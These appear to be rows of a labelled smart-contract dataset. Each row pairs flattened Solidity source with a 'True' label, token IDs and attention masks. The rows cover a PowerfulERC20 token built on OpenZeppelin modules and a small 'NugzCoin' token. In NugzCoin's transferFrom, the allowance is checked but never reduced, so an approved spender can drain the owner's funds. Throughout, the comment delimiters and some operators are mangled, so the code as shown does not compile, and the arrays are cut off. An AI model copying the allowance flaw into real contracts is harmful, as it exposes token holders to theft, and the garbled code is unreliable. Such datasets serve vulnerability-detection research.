^0.8.0; /* * @title ERC1363 * @dev Implementation of an ERC1363 interface / abstract contract ERC1363 is ERC20, IERC1363, ERC165 { using Address for address; /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1363).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param recipient The address to transfer to. * @param amount The amount to be transferred. * @return A boolean that indicates if the operation was successful. / function transferAndCall(address recipient, uint256 amount) public virtual override returns (bool) { return transferAndCall(recipient, amount, ""); } /* * @dev Transfer tokens to a specified address and then execute a callback on recipient. * @param recipient The address to transfer to * @param amount The amount to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. / function transferAndCall( address recipient, uint256 amount, bytes memory data ) public virtual override returns (bool) { transfer(recipient, amount); require(_checkAndCallTransfer(_msgSender(), recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /* * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param sender The address which you want to send tokens from * @param recipient The address which you want to transfer to * @param amount The amount of tokens to be transferred * @return A boolean that indicates if the operation was successful. / function transferFromAndCall( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { return transferFromAndCall(sender, recipient, amount, ""); } /* * @dev Transfer tokens from one address to another and then execute a callback on recipient. * @param sender The address which you want to send tokens from * @param recipient The address which you want to transfer to * @param amount The amount of tokens to be transferred * @param data Additional data with no specified format * @return A boolean that indicates if the operation was successful. / function transferFromAndCall( address sender, address recipient, uint256 amount, bytes memory data ) public virtual override returns (bool) { transferFrom(sender, recipient, amount); require(_checkAndCallTransfer(sender, recipient, amount, data), "ERC1363: _checkAndCallTransfer reverts"); return true; } /* * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to transfer to * @param amount The amount allowed to be transferred * @return A boolean that indicates if the operation was successful. / function approveAndCall(address spender, uint256 amount) public virtual override returns (bool) { return approveAndCall(spender, amount, ""); } /* * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to transfer to. * @param amount The amount allowed to be transferred. * @param data Additional data with no specified format. * @return A boolean that indicates if the operation was successful. / function approveAndCall( address spender, uint256 amount, bytes memory data ) public virtual override returns (bool) { approve(spender, amount); require(_checkAndCallApprove(spender, amount, data), "ERC1363: _checkAndCallApprove reverts"); return true; } /* * @dev Internal function to invoke `onTransferReceived` on a target address * The call is not executed if the target address is not a contract * @param sender address Representing the previous owner of the given token value * @param recipient address Target address that will receive the tokens * @param amount uint256 The amount mount of tokens to be transferred * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value / function _checkAndCallTransfer( address sender, address recipient, uint256 amount, bytes memory data ) internal virtual returns (bool) { if (!recipient.isContract()) { return false; } bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(_msgSender(), sender, amount, data); return (retval == IERC1363Receiver(recipient).onTransferReceived.selector); } /* * @dev Internal function to invoke `onApprovalReceived` on a target address * The call is not executed if the target address is not a contract * @param spender address The address which will spend the funds * @param amount uint256 The amount of tokens to be spent * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value / function _checkAndCallApprove( address spender, uint256 amount, bytes memory data ) internal virtual returns (bool) { if (!spender.isContract()) { return false; } bytes4 retval = IERC1363Spender(spender).onApprovalReceived(_msgSender(), amount, data); return (retval == IERC1363Spender(spender).onApprovalReceived.selector); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor() { _setOwner(_msgSender()); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: eth-token-recover/contracts/TokenRecover.sol pragma solidity ^0.8.0; /* * @title TokenRecover * @dev Allows owner to recover any ERC20 sent into the contract / contract TokenRecover is Ownable { /* * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent / function recoverERC20(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /* * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. / abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /* * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. / constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/token/ERC20/behaviours/ERC20Mintable.sol pragma solidity ^0.8.0; /* * @title ERC20Mintable * @dev Implementation of the ERC20Mintable. Extension of {ERC20} that adds a minting behaviour. / abstract contract ERC20Mintable is ERC20 { // indicates if minting is finished bool private _mintingFinished = false; /* * @dev Emitted during finish minting / event MintFinished(); /* * @dev Tokens can be minted only before minting finished. / modifier canMint() { require(!_mintingFinished, "ERC20Mintable: minting is finished"); _; } /* * @return if minting is finished or not. / function mintingFinished() external view returns (bool) { return _mintingFinished; } /* * @dev Function to mint tokens. * * WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts. * * @param account The address that will receive the minted tokens * @param amount The amount of tokens to mint / function mint(address account, uint256 amount) external canMint { _mint(account, amount); } /* * @dev Function to stop minting new tokens. * * WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts. / function finishMinting() external canMint { _finishMinting(); } /* * @dev Function to stop minting new tokens. / function _finishMinting() internal virtual { _mintingFinished = true; emit MintFinished(); } } // File: @openzeppelin/contracts/access/IAccessControl.sol pragma solidity ^0.8.0; /* * @dev External interface of AccessControl declared to support ERC165 detection. / interface IAccessControl { /* * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ / event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /* * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. / event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) / event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /* * @dev Returns `true` if `account` has been granted `role`. / function hasRole(bytes32 role, address account) external view returns (bool); /* * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. / function getRoleAdmin(bytes32 role) external view returns (bytes32); /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. / function grantRole(bytes32 role, address account) external; /* * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. / function revokeRole(bytes32 role, address account) external; /* * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. / function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /* * @dev String operations. / library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /* * @dev Converts a `uint256` to its ASCII `string` decimal representation. / function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. / function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /* * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. / function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. / abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /* * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ / modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /* * @dev See {IERC165-supportsInterface}. / function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId \|\| super.supportsInterface(interfaceId); } /* * @dev Returns `true` if `account` has been granted `role`. / function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /* * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ / function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /* * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. / function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. / function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /* * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. / function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /* * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. / function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /* * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== / function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /* * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. / function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/access/Roles.sol pragma solidity ^0.8.0; contract Roles is AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER"); constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "Roles: caller does not have the MINTER role"); _; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /* * @title ServicePayer * @dev Implementation of the ServicePayer / abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/PowerfulERC20.sol pragma solidity ^0.8.0; /* * @title PowerfulERC20 * @dev Implementation of the PowerfulERC20 / contract PowerfulERC20 is ERC20Decimals, ERC20Capped, ERC20Mintable, ERC20Burnable, ERC1363, TokenRecover, Roles, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 cap_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ERC20Capped(cap_) ServicePayer(feeReceiver_, "PowerfulERC20") { // Immutable variables cannot be read during contract creation time // https://github.com/ethereum/solidity/issues/10463 require(initialBalance_ <= cap_, "ERC20Capped: cap exceeded"); ERC20._mint(_msgSender(), initialBalance_); } function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) { return super.decimals(); } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC1363) returns (bool) { return super.supportsInterface(interfaceId); } /* * @dev Function to mint tokens. * * NOTE: restricting access to addresses with MINTER role. See {ERC20Mintable-mint}. * * @param account The address that will receive the minted tokens * @param amount The amount of tokens to mint / function _mint(address account, uint256 amount) internal override(ERC20, ERC20Capped) onlyMinter { super._mint(account, amount); } /* * @dev Function to stop minting new tokens. * * NOTE: restricting access to owner only. See {ERC20Mintable-finishMinting}. */ function _finishMinting() internal override onlyOwner { super._finishMinting(); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2340, 1011, 5757, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 3079, 2011, 1036, 4070, 1036, 1012, 1008, 1013, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1996, 20587, 1005, 1055, 4070, 2000, 1036, 7799, 1036, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 12495, 3215, 1037, 1063, 4651, 1065, 2724, 1012, 1008, 1013, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3588, 2193, 1997, 19204, 2015, 2008, 1036, 5247, 2121, 1036, 2097, 2022, 1008, 3039, 2000, 5247, 2006, 6852, 1997, 1036, 3954, 1036, 2083, 1063, 4651, 19699, 5358, 1065, 1012, 2023, 2003, 1008, 5717, 2011, 12398, 1012, 1008, 1008, 2023, 3643, 3431, 2043, 1063, 14300, 1065, 2030, 1063, 4651, 19699, 5358, 1065, 2024, 2170, 1012, 1008, 1013, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 4520, 1036, 3815, 1036, 2004, 1996, 21447, 1997, 1036, 5247, 2121, 1036, 2058, 1996, 20587, 1005, 1055, 19204, 2015, 1012, 1008, 1008, 5651, 1037, 22017, 20898, 3643, 8131, 3251, 1996, 3169, 4594, 1012, 1008, 1008, 2590, 1024, 2022, 8059, 2008, 5278, 2019, 21447, 2007, 2023, 4118, 7545, 1996, 3891, 1008, 2008, 2619, 2089, 2224, 2119, 1996, 2214, 1998, 1996, 2047, 21447, 2011, 15140, 1008, 12598, 13063, 1012, 2028, 2825, 5576, 2000, 10210, 28731, 2023, 2679, 1008, 4650, 2003, 2000, 2034, 5547, 1996, 5247, 2121, 1005, 1055, 21447, 2000, 1014, 1998, 2275, 1996, 1008, 9059, 3643, 5728, 1024, 1008, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1063, 6226, 1065, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5829, 1036, 3815, 1036, 19204, 2015, 2013, 1036, 4604, 2121, 1036, 2000, 1036, 7799, 1036, 2478, 1996, 1008, 21447, 7337, 1012, 1036, 3815, 1036, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-02-14 / pragma solidity ^0.8.2; contract Token { mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowance; uint public totalSupply = 10000000 * 10 ** 18; string public name = "NugzCoin"; string public symbol = "NUGZ"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); constructor() { balances[msg.sender] = totalSupply; } function balanceOf(address owner) public returns(uint) { return balances[owner]; } function transfer(address to, uint value) public returns(bool) { require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) public returns(bool) { require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint value) public returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6185, 1011, 2403, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1016, 1025, 3206, 19204, 1063, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 2270, 5703, 2015, 1025, 12375, 1006, 4769, 1027, 1028, 12375, 1006, 4769, 1027, 1028, 21318, 3372, 1007, 1007, 2270, 21447, 1025, 21318, 3372, 2270, 21948, 6279, 22086, 1027, 6694, 8889, 8889, 1008, 2184, 1008, 1008, 2324, 1025, 5164, 2270, 2171, 1027, 1000, 16371, 2290, 2480, 3597, 2378, 1000, 1025, 5164, 2270, 6454, 1027, 1000, 16371, 2290, 2480, 1000, 1025, 21318, 3372, 2270, 26066, 2015, 1027, 2324, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 9570, 2953, 1006, 1007, 1063, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1027, 21948, 6279, 22086, 1025, 1065, 3853, 5703, 11253, 1006, 4769, 3954, 1007, 2270, 5651, 1006, 21318, 3372, 1007, 1063, 2709, 5703, 2015, 1031, 3954, 1033, 1025, 1065, 3853, 4651, 1006, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 5478, 1006, 5703, 11253, 1006, 5796, 2290, 1012, 4604, 2121, 1007, 1028, 1027, 3643, 1010, 1005, 5703, 2205, 2659, 1005, 1007, 1025, 5703, 2015, 1031, 2000, 1033, 1009, 1027, 3643, 1025, 5703, 2015, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1011, 1027, 3643, 1025, 12495, 2102, 4651, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 2000, 1010, 3643, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 4651, 19699, 5358, 1006, 4769, 2013, 1010, 4769, 2000, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 5478, 1006, 5703, 11253, 1006, 2013, 1007, 1028, 1027, 3643, 1010, 1005, 5703, 2205, 2659, 1005, 1007, 1025, 5478, 1006, 21447, 1031, 2013, 1033, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1028, 1027, 3643, 1010, 1005, 21447, 2205, 2659, 1005, 1007, 1025, 5703, 2015, 1031, 2000, 1033, 1009, 1027, 3643, 1025, 5703, 2015, 1031, 2013, 1033, 1011, 1027, 3643, 1025, 12495, 2102, 4651, 1006, 2013, 1010, 2000, 1010, 3643, 1007, 1025, 2709, 2995, 1025, 1065, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 2270, 5651, 1006, 22017, 2140, 1007, 1063, 21447, 1031, 5796, 2290, 1012, 4604, 2121, 1033, 1031, 5247, 2121, 1033, 1027, 3643, 1025, 12495, 2102, 6226, 1006, 5796, 2290, 1012, 4604, 2121, 1010, 5247, 2121, 1010, 3643, 1007, 1025, 2709, 2995, 1025, 1065, 1065, 102, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 